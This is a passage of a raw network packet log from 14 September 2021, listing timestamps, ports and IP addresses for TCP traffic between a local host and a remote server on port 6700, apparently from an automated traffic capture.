                          Sep 14, 2021 21:26:16.183080912 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183085918 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.183099031 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183121920 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183144093 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.183146000 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183168888 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183196068 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183208942 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183213949 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.183222055 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183234930 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183274031 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183300018 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183312893 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183326006 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183346987 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183362007 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183479071 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.183553934 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.183619976 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.220191956 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.268299103 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.363842010 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.363878012 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.363904953 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.363929987 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.363991976 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.364048004 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.364351988 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.364386082 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.364413023 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.364505053 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.364521980 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.364584923 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.364614010 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.364669085 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.364732027 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.364769936 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.364788055 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.364867926 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.365004063 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.365067005 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.365261078 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.365267992 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.365281105 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.365335941 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.365382910 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.365391970 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.365478039 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.365524054 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.365530014 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.365667105 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.367800951 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.367881060 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.367994070 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.371154070 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.371196985 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.371231079 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.371282101 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.371349096 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.371397972 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.371443033 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.371479034 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.371598959 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.371623039 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.371706963 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.371799946 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.371815920 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.371979952 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.372014999 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.372055054 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.372221947 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.372304916 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.372380018 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.372509003 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.372581005 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.372601032 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.372715950 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.372788906 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.372812033 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.372934103 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.372965097 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.372996092 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.373050928 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.373084068 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.373140097 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.373143911 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.373225927 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.373347998 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.373415947 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.373455048 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.373490095 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.373625040 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.373631001 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.373663902 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.424561024 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.454322100 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.502696037 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.550328970 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.551989079 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.552028894 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.552052021 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.552112103 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.552134991 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.552145958 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.552186012 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.552490950 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.552517891 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.552608013 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.552691936 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.552747965 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.552953005 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.553730965 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.553877115 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.553900957 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.553919077 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.553940058 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.553966045 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.553987980 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.554008961 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.554029942 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.554052114 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.554074049 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.554195881 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.554338932 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.555239916 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.555244923 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.555294991 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.555356979 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.555401087 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.558584929 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.560553074 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.560800076 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.560826063 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.560851097 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.560874939 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.560898066 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562249899 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562275887 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562297106 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562313080 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562318087 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562342882 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562344074 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562365055 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562366962 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562386036 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562405109 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562407017 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562428951 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562442064 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562449932 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562470913 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562479019 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562491894 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562515974 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562517881 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562556982 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562638044 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562664032 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562688112 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562689066 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562710047 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562726974 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562731028 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562768936 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562781096 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562789917 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562797070 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562810898 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562832117 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.562840939 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562861919 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.562922955 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.612700939 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.612786055 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.689129114 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.689308882 CEST670049792194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:16.689373970 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:16.689409018 CEST497926700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:20.719664097 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:20.905625105 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:20.907145023 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:20.907567978 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:21.103410959 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.107388020 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:21.294157982 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.295285940 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:21.528076887 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.546931982 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.546962023 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.546978951 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.547045946 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:21.547049999 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.547092915 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:21.597577095 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:21.733105898 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.733144999 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.737647057 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.737708092 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.737726927 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.737746000 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.737766027 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.737786055 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.738317013 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:21.751075029 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:21.824656010 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.927146912 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.927254915 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.927349091 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:21.927408934 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.929735899 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.929914951 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:21.937968016 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.938035011 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.938143969 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:21.938163042 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.938230991 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.938285112 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:21.938390017 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.938447952 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.938504934 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:21.938522100 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.938644886 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.938695908 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:21.938704967 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.938747883 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:21.938793898 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.113485098 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.113511086 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.113578081 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.113581896 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.113622904 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.113675117 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.115679979 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.115742922 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.115823030 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.115853071 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.115936041 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.116003036 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.125216961 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.125364065 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.125438929 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.125458956 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.125459909 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.125499010 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.125519037 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.125550985 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.125610113 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.125612020 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.125721931 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.125778913 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.125823975 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.125894070 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.125986099 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.126064062 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.126224995 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.126244068 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.126260996 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.126281977 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.126283884 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.126302004 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.126317024 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.126318932 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.126403093 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.126409054 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.126441956 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.126471996 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.126554012 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.126595020 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.126616001 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.174977064 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.302300930 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302334070 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302359104 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302383900 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302387953 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.302406073 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302433014 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.302433968 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302459002 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302489996 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.302726984 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302757978 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302768946 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.302782059 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302803993 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302824974 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.302826881 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302851915 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302871943 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.302875042 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302897930 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302916050 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.302921057 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.302961111 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.311592102 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.311623096 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.311661959 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.311697006 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.311774015 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.311820030 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.312457085 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.312490940 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.312606096 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.312638044 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.312763929 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.312820911 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.312829971 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.312876940 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.312918901 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.312943935 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.312971115 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.312994957 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.313026905 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.313071966 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.313117981 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.313162088 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.313215971 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.313266993 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.314779043 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.315210104 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.315239906 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.316683054 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.316765070 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317590952 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317615032 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317622900 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.317637920 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317660093 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317662954 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.317683935 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317707062 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317715883 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.317727089 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317743063 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317761898 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317776918 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.317780018 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317795992 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317806959 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.317812920 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317828894 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317842960 CEST670049793194.147.140.20192.168.2.3
                          Sep 14, 2021 21:26:22.317847967 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.317867994 CEST497936700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:26:22.317920923 CEST497936700192.168.2.3194.147.140.20
